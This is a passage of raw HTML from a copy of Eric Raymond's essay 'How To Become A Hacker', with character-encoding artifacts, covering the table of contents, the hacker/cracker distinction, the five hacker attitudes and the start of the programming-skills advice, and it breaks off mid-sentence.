_fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#why_this" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#why_this"&gt;Why This Document?&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;dt&gt;&lt;span class="sect1"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#what_is" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#what_is"&gt;What Is a Hacker?&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;dt&gt;&lt;span class="sect1"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#attitude" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#attitude"&gt;The Hacker Attitude&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;dd&gt;&lt;dl&gt;&lt;dt&gt;&lt;span class="sect2"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#believe1" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#believe1"&gt;1. The world is full of fascinating problems waiting to be solved.&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;dt&gt;&lt;span class="sect2"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#believe2" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#believe2"&gt;2. No problem should ever have to be solved twice.&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;dt&gt;&lt;span class="sect2"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#believe3" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#believe3"&gt;3. Boredom and drudgery are evil.&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;dt&gt;&lt;span class="sect2"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#believe4" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#believe4"&gt;4. Freedom is good.&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;dt&gt;&lt;span class="sect2"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#believe5" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#believe5"&gt;5. Attitude is no substitute for competence.&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;/dl&gt;&lt;/dd&gt;&lt;br /&gt;&lt;dt&gt;&lt;span class="sect1"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#basic_skills" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#basic_skills"&gt;Basic Hacking Skills&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;br /&gt;&lt;dd&gt;&lt;br /&gt;&lt;dl&gt;&lt;dt&gt;&lt;span class="sect2"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#skills1" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#skills1"&gt;1. Learn how to program.&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;dt&gt;&lt;span class="sect2"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#skills2" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#skills2"&gt;2. Get one of the open-source Unixes and learn to use and run it.&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;dt&gt;&lt;span class="sect2"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#skills3" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#skills3"&gt;3. Learn how to use the World Wide Web and write HTML.&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;dt&gt;&lt;span class="sect2"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#skills4" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#skills4"&gt;4. If you don't have functional English, learn it.&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;/dl&gt;&lt;/dd&gt;&lt;br /&gt;&lt;dt&gt;&lt;span class="sect1"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#status" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#status"&gt;Status in the Hacker Culture&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;br /&gt;&lt;dd&gt;&lt;br /&gt;&lt;dl&gt;&lt;dt&gt;&lt;span class="sect2"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#respect1" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#respect1"&gt;1. Write open-source software&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;dt&gt;&lt;span class="sect2"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#respect2" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#respect2"&gt;2. Help test and debug open-source software&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;dt&gt;&lt;span class="sect2"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#respect3" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#respect3"&gt;3. Publish useful information&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;dt&gt;&lt;span class="sect2"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#respect4" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#respect4"&gt;4. Help keep the infrastructure working&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;dt&gt;&lt;span class="sect2"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#respect5" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#respect5"&gt;5. Serve the hacker culture itself&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;/dl&gt;&lt;/dd&gt;&lt;br /&gt;&lt;dt&gt;&lt;span class="sect1"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#nerd_connection" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#nerd_connection"&gt;The Hacker/Nerd Connection&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;br /&gt;&lt;dt&gt;&lt;span class="sect1"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#style" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#style"&gt;Points For Style&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;br /&gt;&lt;dt&gt;&lt;span class="sect1"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#history" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#history"&gt;Historical Note: Hacking, Open Source, and Free Software&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;br /&gt;&lt;dt&gt;&lt;span class="sect1"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#resources" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#resources"&gt;Other Resources&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;br /&gt;&lt;dt&gt;&lt;span class="sect1"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#FAQ" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#FAQ"&gt;Frequently Asked Questions&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;br /&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div class="mediaobject"&gt;&lt;img _fcksavedurl="http://www.catb.org/%7Eesr/faqs/glider.png" alt="" src="http://www.catb.org/%7Eesr/faqs/glider.png" /&gt;&lt;/div&gt;&lt;div class="sect1" title="Why This Document?"&gt; &lt;div class="titlepage"&gt; &lt;div&gt; &lt;div&gt; &lt;h2 class="title" style="clear: both;"&gt;Why This Document?&lt;/h2&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;As editor of the &lt;a _fcksavedurl="http://www.catb.org/jargon" class="ulink" href="http://www.catb.org/jargon" target="_top"&gt;Jargon File&lt;/a&gt;  and author of a few other well-known documents of similar nature, I  often get email requests from enthusiastic network newbies asking (in  effect) "how can I learn to be a wizardly hacker?". Back in 1996 I  noticed that there didn't seem to be any other FAQs or web documents  that addressed this vital question, so I started this one.  A lot of  hackers now consider it definitive, and I  suppose that means it is.  Still, I don't claim to be the exclusive authority on this topic; if you  don't like what you read here, write your own.&lt;br /&gt;If you are reading a snapshot of this document offline, the current version lives at &lt;a _fcksavedurl="http://catb.org/%7Eesr/faqs/hacker-howto.html" class="ulink" href="http://catb.org/%7Eesr/faqs/hacker-howto.html" target="_top"&gt; http://catb.org/~esr/faqs/hacker-howto.html&lt;/a&gt;.&lt;br /&gt;Note: there is a list of &lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#FAQ" class="link" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#FAQ" title="Frequently Asked Questions"&gt;Frequently Asked Questions&lt;/a&gt; at the end of this document.  Please read theseâ€”twiceâ€”before mailing me any questions about this document.&lt;br /&gt;Numerous translations of this document are available: &lt;a _fcksavedurl="http://www.slashproc.net/doc/howto-ar.html" class="ulink" href="http://www.slashproc.net/doc/howto-ar.html" target="_top"&gt;Arabic&lt;/a&gt; &lt;a _fcksavedurl="http://www.angelfire.com/ok/leekawo/hackersim.htm" class="ulink" href="http://www.angelfire.com/ok/leekawo/hackersim.htm" target="_top"&gt;Chinese (Simplified)&lt;/a&gt;, &lt;a _fcksavedurl="http://www.olemichaelsen.dk/hacker-howto.html" class="ulink" href="http://www.olemichaelsen.dk/hacker-howto.html" target="_top"&gt;Danish&lt;/a&gt;, &lt;a _fcksavedurl="http://www.knudde.be/index.php?page_name=hacker_howto" class="ulink" href="http://www.knudde.be/index.php?page_name=hacker_howto" target="_top"&gt;Dutch&lt;/a&gt;, &lt;a _fcksavedurl="http://www.kakupesa.net/hacker/" class="ulink" href="http://www.kakupesa.net/hacker/" target="_top"&gt;Estonian&lt;/a&gt;, &lt;a _fcksavedurl="http://www.linuxtaskforce.de/hacker-howto-ger.html" class="ulink" href="http://www.linuxtaskforce.de/hacker-howto-ger.html" target="_top"&gt;German&lt;/a&gt;, &lt;a _fcksavedurl="http://users.otenet.gr/%7Eindy90/hacker-howto-gr/" class="ulink" href="http://users.otenet.gr/%7Eindy90/hacker-howto-gr/" target="_top"&gt;Greek&lt;/a&gt; &lt;a _fcksavedurl="http://www.victorfleur.com/documents/hacker.html" class="ulink" href="http://www.victorfleur.com/documents/hacker.html" target="_top"&gt;Italian&lt;/a&gt; &lt;a _fcksavedurl="http://he.wikisource.org/wiki/%D7%90%D7%99%D7%9A_%D7%9C%D7%94%D7%99%D7%95%D7%AA_%D7%94%D7%90%D7%A7%D7%A8" class="ulink" href="http://he.wikisource.org/wiki/%D7%90%D7%99%D7%9A_%D7%9C%D7%94%D7%99%D7%95%D7%AA_%D7%94%D7%90%D7%A7%D7%A8" target="_top"&gt;Hebrew&lt;/a&gt;, &lt;a _fcksavedurl="http://stian.atlantiscrew.net/doc/hacker-howto.html" class="ulink" href="http://stian.atlantiscrew.net/doc/hacker-howto.html" target="_top"&gt;Norwegian&lt;/a&gt;, &lt;a _fcksavedurl="http://jvdm.sdf1.org/pt/raquer-howto/" class="ulink" href="http://jvdm.sdf1.org/pt/raquer-howto/" target="_top"&gt;Portuguese (Brazilian)&lt;/a&gt;, &lt;a _fcksavedurl="http://garaj.xhost.ro/hacker-howto/hacker-howto.ro.htm" class="ulink" href="http://garaj.xhost.ro/hacker-howto/hacker-howto.ro.htm" target="_top"&gt;Romanian&lt;/a&gt; &lt;a _fcksavedurl="http://www.sindominio.net/biblioweb/telematica/hacker-como.html" class="ulink" href="http://www.sindominio.net/biblioweb/telematica/hacker-como.html" target="_top"&gt;Spanish&lt;/a&gt;, &lt;a _fcksavedurl="http://www.belgeler.org/howto/hacker-howto/hacker-howto.html" class="ulink" href="http://www.belgeler.org/howto/hacker-howto/hacker-howto.html" target="_top"&gt;Turkish&lt;/a&gt;, and &lt;a _fcksavedurl="http://www1.tripnet.se/%7Emly/open/faqs/hacker-howto.se.html" class="ulink" href="http://www1.tripnet.se/%7Emly/open/faqs/hacker-howto.se.html" target="_top"&gt;Swedish&lt;/a&gt;. Note that since this document changes occasionally, they may be out of date to varying degrees. &lt;br /&gt;The five-dots-in-nine-squares diagram that decorates this document is called a &lt;span class="emphasis"&gt;&lt;i&gt;glider&lt;/i&gt;&lt;/span&gt;.  It is a simple pattern with some surprising properties in a mathematical simulation called &lt;a _fcksavedurl="http://dmoz.org/Computers/Artificial_Life/Cellular_Automata/" class="ulink" href="http://dmoz.org/Computers/Artificial_Life/Cellular_Automata/" target="_top"&gt;Life&lt;/a&gt;  that has fascinated hackers for many years.  I think it makes a good  visual emblem for what hackers are like â€” abstract, at first a bit  mysterious-seeming, but a gateway to a whole world with an intricate  logic of its own. Read more about the glider emblem &lt;a _fcksavedurl="http://www.catb.org/%7Eesr/hacker-emblem/" class="ulink" href="http://www.catb.org/%7Eesr/hacker-emblem/" target="_top"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;/div&gt;&lt;div class="sect1" title="What Is a Hacker?"&gt; &lt;div class="titlepage"&gt; &lt;div&gt; &lt;div&gt; &lt;h2 class="title" style="clear: both;"&gt;What Is a Hacker?&lt;/h2&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;The &lt;a _fcksavedurl="http://www.catb.org/jargon" class="ulink" href="http://www.catb.org/jargon" target="_top"&gt;Jargon File&lt;/a&gt;  contains a bunch of definitions of the term â€˜hackerâ€™, most having  to do with technical adeptness and a delight in solving problems and  overcoming limits.  If you want to know how to &lt;span class="emphasis"&gt;&lt;i&gt;become&lt;/i&gt;&lt;/span&gt; a hacker, though, only two are really relevant.&lt;br /&gt;There is a community, a shared culture, of expert programmers and  networking wizards that traces its history back through decades to the  first time-sharing minicomputers and the earliest ARPAnet experiments.  The members of this culture originated the term â€˜hackerâ€™.  Hackers  built the Internet.  Hackers made the Unix operating system what it is  today.  Hackers run Usenet.  Hackers make the World Wide Web work.  If  you are part of this culture, if you have contributed to it and other  people in it know who you are and call you a hacker, you're a hacker.&lt;br /&gt;The hacker mind-set is not confined to this software-hacker culture.   There are people who apply the hacker attitude to other things, like  electronics or music â€” actually, you can find it at the highest levels  of any science or art.  Software hackers recognize these kindred  spirits elsewhere and may call them â€˜hackersâ€™ too â€” and some claim  that the hacker nature is really independent of the particular medium  the hacker works in.  But in the rest of this document we will focus on  the skills and attitudes of software hackers, and the traditions of the  shared culture that originated the term â€˜hackerâ€™.&lt;br /&gt;There is another group of people who loudly call themselves hackers,  but aren't.  These are people (mainly adolescent males) who get a kick  out of breaking into computers and phreaking the phone system.  Real  hackers call these people â€˜crackersâ€™ and want nothing to do with  them.  Real hackers mostly think crackers are lazy, irresponsible, and  not very bright, and object that being able to break security doesn't  make you a hacker any more than being able to hotwire cars makes you an  automotive engineer.  Unfortunately, many journalists and writers have  been fooled into using the word â€˜hackerâ€™ to describe crackers; this  irritates real hackers no end.&lt;br /&gt;The basic difference is this: hackers build things, crackers break them.&lt;br /&gt;If you want to be a hacker, keep reading.  If you want to be a cracker, go read the &lt;a _fcksavedurl="news:alt.2600" class="ulink" href="news:alt.2600" target="_top"&gt;alt.2600&lt;/a&gt;  newsgroup and get ready to do five to ten in the slammer after finding  out you aren't as smart as you think you are.  And that's all I'm going  to say about crackers.&lt;br /&gt;&lt;div class="mediaobject"&gt;&lt;img _fcksavedurl="http://www.catb.org/%7Eesr/faqs/glider.png" alt="" src="http://www.catb.org/%7Eesr/faqs/glider.png" /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="sect1" title="The Hacker Attitude"&gt; &lt;div class="titlepage"&gt; &lt;div&gt; &lt;div&gt; &lt;h2 class="title" style="clear: both;"&gt;The Hacker Attitude&lt;/h2&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="toc"&gt;&lt;br /&gt;&lt;dl&gt;&lt;dt&gt;&lt;span class="sect2"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#believe1" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#believe1"&gt;1. The world is full of fascinating problems waiting to be solved.&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;dt&gt;&lt;span class="sect2"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#believe2" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#believe2"&gt;2. No problem should ever have to be solved twice.&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;dt&gt;&lt;span class="sect2"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#believe3" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#believe3"&gt;3. Boredom and drudgery are evil.&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;dt&gt;&lt;span class="sect2"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#believe4" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#believe4"&gt;4. Freedom is good.&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;dt&gt;&lt;span class="sect2"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#believe5" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#believe5"&gt;5. Attitude is no substitute for competence.&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;/dl&gt;&lt;/div&gt;Hackers solve problems and build things, and they believe in freedom  and voluntary mutual help.  To be accepted as a hacker, you have to  behave as though you have this kind of attitude yourself.  And to behave  as though you have the attitude, you have to really believe the  attitude.&lt;br /&gt;But if you think of cultivating hacker attitudes as just a way to  gain acceptance in the culture, you'll miss the point.  Becoming the  kind of person who believes these things is important for &lt;span class="emphasis"&gt;&lt;i&gt;you&lt;/i&gt;&lt;/span&gt;  â€” for helping you learn and keeping you motivated.  As with all  creative arts, the most effective way to become a master is to imitate  the mind-set of masters â€” not just intellectually but emotionally as  well.&lt;br /&gt;Or, as the following modern Zen poem has it:&lt;br /&gt;&lt;div class="literallayout"&gt; &lt;br /&gt;Â&amp;nbsp;Â&amp;nbsp;Â&amp;nbsp;Â&amp;nbsp;ToÂ&amp;nbsp;followÂ&amp;nbsp;theÂ&amp;nbsp;path:&lt;br /&gt;Â&amp;nbsp;Â&amp;nbsp;Â&amp;nbsp;Â&amp;nbsp;lookÂ&amp;nbsp;toÂ&amp;nbsp;theÂ&amp;nbsp;master,&lt;br /&gt;Â&amp;nbsp;Â&amp;nbsp;Â&amp;nbsp;Â&amp;nbsp;followÂ&amp;nbsp;theÂ&amp;nbsp;master,&lt;br /&gt;Â&amp;nbsp;Â&amp;nbsp;Â&amp;nbsp;Â&amp;nbsp;walkÂ&amp;nbsp;withÂ&amp;nbsp;theÂ&amp;nbsp;master,&lt;br /&gt;Â&amp;nbsp;Â&amp;nbsp;Â&amp;nbsp;Â&amp;nbsp;seeÂ&amp;nbsp;throughÂ&amp;nbsp;theÂ&amp;nbsp;master,&lt;br /&gt;Â&amp;nbsp;Â&amp;nbsp;Â&amp;nbsp;Â&amp;nbsp;becomeÂ&amp;nbsp;theÂ&amp;nbsp;master.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;So, if you want to be a hacker, repeat the following things until you believe them:&lt;br /&gt;&lt;div class="sect2" title="1. The world is full of fascinating problems waiting to be solved."&gt; &lt;div class="titlepage"&gt; &lt;div&gt; &lt;div&gt; &lt;h3 class="title"&gt;1. The world is full of fascinating problems waiting to be solved.&lt;/h3&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;Being a hacker is lots of fun, but it's a kind of fun that takes lots  of effort.  The effort takes motivation.  Successful athletes get their  motivation from a kind of physical delight in making their bodies  perform, in pushing themselves past their own physical limits.  Similarly, to be a hacker you have to get a basic thrill from solving  problems, sharpening your skills, and exercising your intelligence.&lt;br /&gt;If you aren't the kind of person that feels this way naturally,  you'll need to become one in order to make it as a hacker.  Otherwise  you'll find your hacking energy is sapped by distractions like sex,  money, and social approval.&lt;br /&gt;(You also have to develop a kind of faith in your own learning  capacity â€” a belief that even though you may not know all of what you  need to solve a problem, if you tackle just a piece of it and learn from  that, you'll learn enough to solve the next piece â€” and so on, until  you're done.)&lt;br /&gt;&lt;/div&gt;&lt;div class="sect2" title="2. No problem should ever have to be solved twice."&gt; &lt;div class="titlepage"&gt; &lt;div&gt; &lt;div&gt; &lt;h3 class="title"&gt;2. No problem should ever have to be solved twice.&lt;/h3&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;Creative brains are a valuable, limited resource.  They shouldn't be  wasted on re-inventing the wheel when there are so many fascinating new  problems waiting out there.&lt;br /&gt;To behave like a hacker, you have to believe that the thinking time  of other hackers is precious â€” so much so that it's almost a moral  duty for you to share information, solve problems and then give the  solutions away just so other hackers can solve &lt;span class="emphasis"&gt;&lt;i&gt;new&lt;/i&gt;&lt;/span&gt; problems instead of having to perpetually re-address old ones.&lt;br /&gt;Note, however, that "No problem should ever have to be solved twice."  does not imply that you have to consider all existing solutions sacred,  or that there is only one right solution to any given problem.  Often,  we learn a lot about the problem that we didn't know before by studying  the first cut at a solution.  It's OK, and often necessary, to decide  that we can do better.  What's not OK is artificial technical, legal, or  institutional barriers (like closed-source code) that prevent a good  solution from being re-used and &lt;span class="emphasis"&gt;&lt;i&gt;force&lt;/i&gt;&lt;/span&gt; people to re-invent wheels.&lt;br /&gt;(You don't have to believe that you're obligated to give &lt;span class="emphasis"&gt;&lt;i&gt;all&lt;/i&gt;&lt;/span&gt;  your creative product away, though the hackers that do are the ones  that get most respect from other hackers. It's consistent with hacker  values to sell enough of it to keep you in food and rent and computers.   It's fine to use your hacking skills to support a family or even get  rich, as long as you don't forget your loyalty to your art and your  fellow hackers while doing it.)&lt;br /&gt;&lt;/div&gt;&lt;div class="sect2" title="3. Boredom and drudgery are evil."&gt; &lt;div class="titlepage"&gt; &lt;div&gt; &lt;div&gt; &lt;h3 class="title"&gt;3. Boredom and drudgery are evil.&lt;/h3&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;Hackers (and creative people in general) should never be bored or  have to drudge at stupid repetitive work, because when this happens it  means they aren't doing what only they can do â€” solve new problems.  This wastefulness hurts everybody.  Therefore boredom and drudgery are  not just unpleasant but actually evil.&lt;br /&gt;To behave like a hacker, you have to believe this enough to want to  automate away the boring bits as much as possible, not just for yourself  but for everybody else (especially other hackers).&lt;br /&gt;(There is one apparent exception to this.  Hackers will sometimes do  things that may seem repetitive or boring to an observer as a  mind-clearing exercise, or in order to acquire a skill or have some  particular kind of experience you can't have otherwise.  But this is by  choice â€” nobody who can think should ever be forced into a situation  that bores them.)&lt;br /&gt;&lt;/div&gt;&lt;div class="sect2" title="4. Freedom is good."&gt; &lt;div class="titlepage"&gt; &lt;div&gt; &lt;div&gt; &lt;h3 class="title"&gt;4. Freedom is good.&lt;/h3&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;Hackers are naturally anti-authoritarian.  Anyone who can give you  orders can stop you from solving whatever problem you're being  fascinated by â€” and, given the way authoritarian minds work, will  generally find some appallingly stupid reason to do so.  So the  authoritarian attitude has to be fought wherever you find it, lest it  smother you and other hackers.&lt;br /&gt;(This isn't the same as fighting all authority.  Children need to be  guided and criminals restrained.  A hacker may agree to accept some  kinds of authority in order to get something he wants more than the time  he spends following orders. But that's a limited, conscious bargain;  the kind of personal surrender authoritarians want is not on offer.)&lt;br /&gt;Authoritarians thrive on censorship and secrecy.  And they distrust  voluntary cooperation and information-sharing â€” they only like  â€˜cooperationâ€™ that they control. So to behave like a hacker, you  have to develop an instinctive hostility to censorship, secrecy, and the  use of force or deception to compel responsible adults.  And you have  to be willing to act on that belief.&lt;br /&gt;&lt;/div&gt;&lt;div class="sect2" title="5. Attitude is no substitute for competence."&gt; &lt;div class="titlepage"&gt; &lt;div&gt; &lt;div&gt; &lt;h3 class="title"&gt;5. Attitude is no substitute for competence.&lt;/h3&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;To be a hacker, you have to develop some of these attitudes.  But  copping an attitude alone won't make you a hacker, any more than it will  make you a champion athlete or a rock star.  Becoming a hacker will  take intelligence, practice, dedication, and hard work.&lt;br /&gt;Therefore, you have to learn to distrust attitude and respect  competence of every kind.  Hackers won't let posers waste their time,  but they worship competence â€” especially competence at hacking, but  competence at anything is valued.  Competence at demanding skills that  few can master is especially good, and competence at demanding skills  that involve mental acuteness, craft, and concentration is best.&lt;br /&gt;If you revere competence, you'll enjoy developing it in yourself â€”  the hard work and dedication will become a kind of intense play rather  than drudgery.  That attitude is vital to becoming a hacker.&lt;br /&gt;&lt;div class="mediaobject"&gt;&lt;img _fcksavedurl="http://www.catb.org/%7Eesr/faqs/glider.png" alt="" src="http://www.catb.org/%7Eesr/faqs/glider.png" /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="sect1" title="Basic Hacking Skills"&gt; &lt;div class="titlepage"&gt; &lt;div&gt; &lt;div&gt; &lt;h2 class="title" style="clear: both;"&gt;Basic Hacking Skills&lt;/h2&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="toc"&gt;&lt;br /&gt;&lt;dl&gt;&lt;dt&gt;&lt;span class="sect2"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#skills1" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#skills1"&gt;1. Learn how to program.&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;dt&gt;&lt;span class="sect2"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#skills2" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#skills2"&gt;2. Get one of the open-source Unixes and learn to use and run it.&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;dt&gt;&lt;span class="sect2"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#skills3" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#skills3"&gt;3. Learn how to use the World Wide Web and write HTML.&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;dt&gt;&lt;span class="sect2"&gt;&lt;a _fcksavedurl="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#skills4" href="http://www.catb.org/%7Eesr/faqs/hacker-howto.html#skills4"&gt;4. If you don't have functional English, learn it.&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;&lt;/dl&gt;&lt;/div&gt;The hacker attitude is vital, but skills are even more vital.  Attitude is no substitute for competence, and there's a certain basic  toolkit of skills which you have to have before any hacker will dream of  calling you one.&lt;br /&gt;This toolkit changes slowly over time as technology creates new  skills and makes old ones obsolete.  For example, it used to include  programming in machine language, and didn't until recently involve HTML.   But right now it pretty clearly includes the following:&lt;br /&gt;&lt;div class="sect2" title="1. Learn how to program."&gt; &lt;div class="titlepage"&gt; &lt;div&gt; &lt;div&gt; &lt;h3 class="title"&gt;1. Learn how to program.&lt;/h3&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;This, of course, is the fundamental hacking skill.  If you don't know  any computer languages, I recommend starting with Python.  It is  cleanly designed, well documented, and relatively kind to beginners.  Despite being a good first language, it is not just a toy; it is very  powerful and flexible and well suited for large projects.  I have  written a more detailed &lt;a _fcksavedurl="http://www.linuxjournal.com/article.php?sid=3882" class="ulink" href="http://www.linuxjournal.com/article.php?sid=3882" target="_top"&gt;evaluation of Python&lt;/a&gt;.  Good &lt;a _fcksavedurl="http://docs.python.org/tut/tut.html" class="ulink" href="http://docs.python.org/tut/tut.html" target="_top"&gt; tutorials&lt;/a&gt; are available at the &lt;a _fcksavedurl="http://docs.python.org/tutorial/" class="ulink" href="http://docs.python.org/tutorial/" target="_top"&gt;Python web site&lt;/a&gt;.&lt;br /&gt;I used to recommend Java as a good language to learn early, but &lt;a _fcksavedurl="http://www.stsc.hill.af.mil/CrossTalk/2008/01/0801DewarSchonberg.html" class="ulink" href="http://www.stsc.hill.af.mil/CrossTalk/2008/01/0801DewarSchonberg.html" target="_top"&gt;this critique&lt;/a&gt; has changed my mind (search for &lt;span class="quote"&gt;â€œ&lt;span class="quote"&gt;The Pitfalls of Java as a First Programming Language&lt;/span&gt;â€&lt;/span&gt; within it).  A hacker cannot, as they devastatingly put it &lt;span class="quote"&gt;â€œ&lt;span class="quote"&gt;approach problem-solving like a plumber in a hardware store&lt;/span&gt;â€&lt;/span&gt;; you have to know what the components actually &lt;span class="emphasis"&gt;&lt;i&gt;do&lt;/i&gt;&lt;/span&gt;.  Now I think it is probably best to learn C and Lisp first, then Java.&lt;br /&gt;There is perhaps a more general point here.  If a language does too  much for you, it may be simultaneously a good tool for production and a  bad one for learning.  It's not only languages that have this problem;  web application frameworks like RubyOnRails, CakePHP, Django may make it  too easy to reach a superficial sort of understanding that will leave  you without resources when you have to tackle a hard problem, or even  just debug the solution to an easy one.&lt;br /&gt;If you get into serious programming, you will have to learn C, the  core language of Unix.  C++ is very closely related to C; if you know  one, learning the other will not be difficult.  Neither language is a  good one to try learning as your first, however.  And, actually, the  more you can avoid 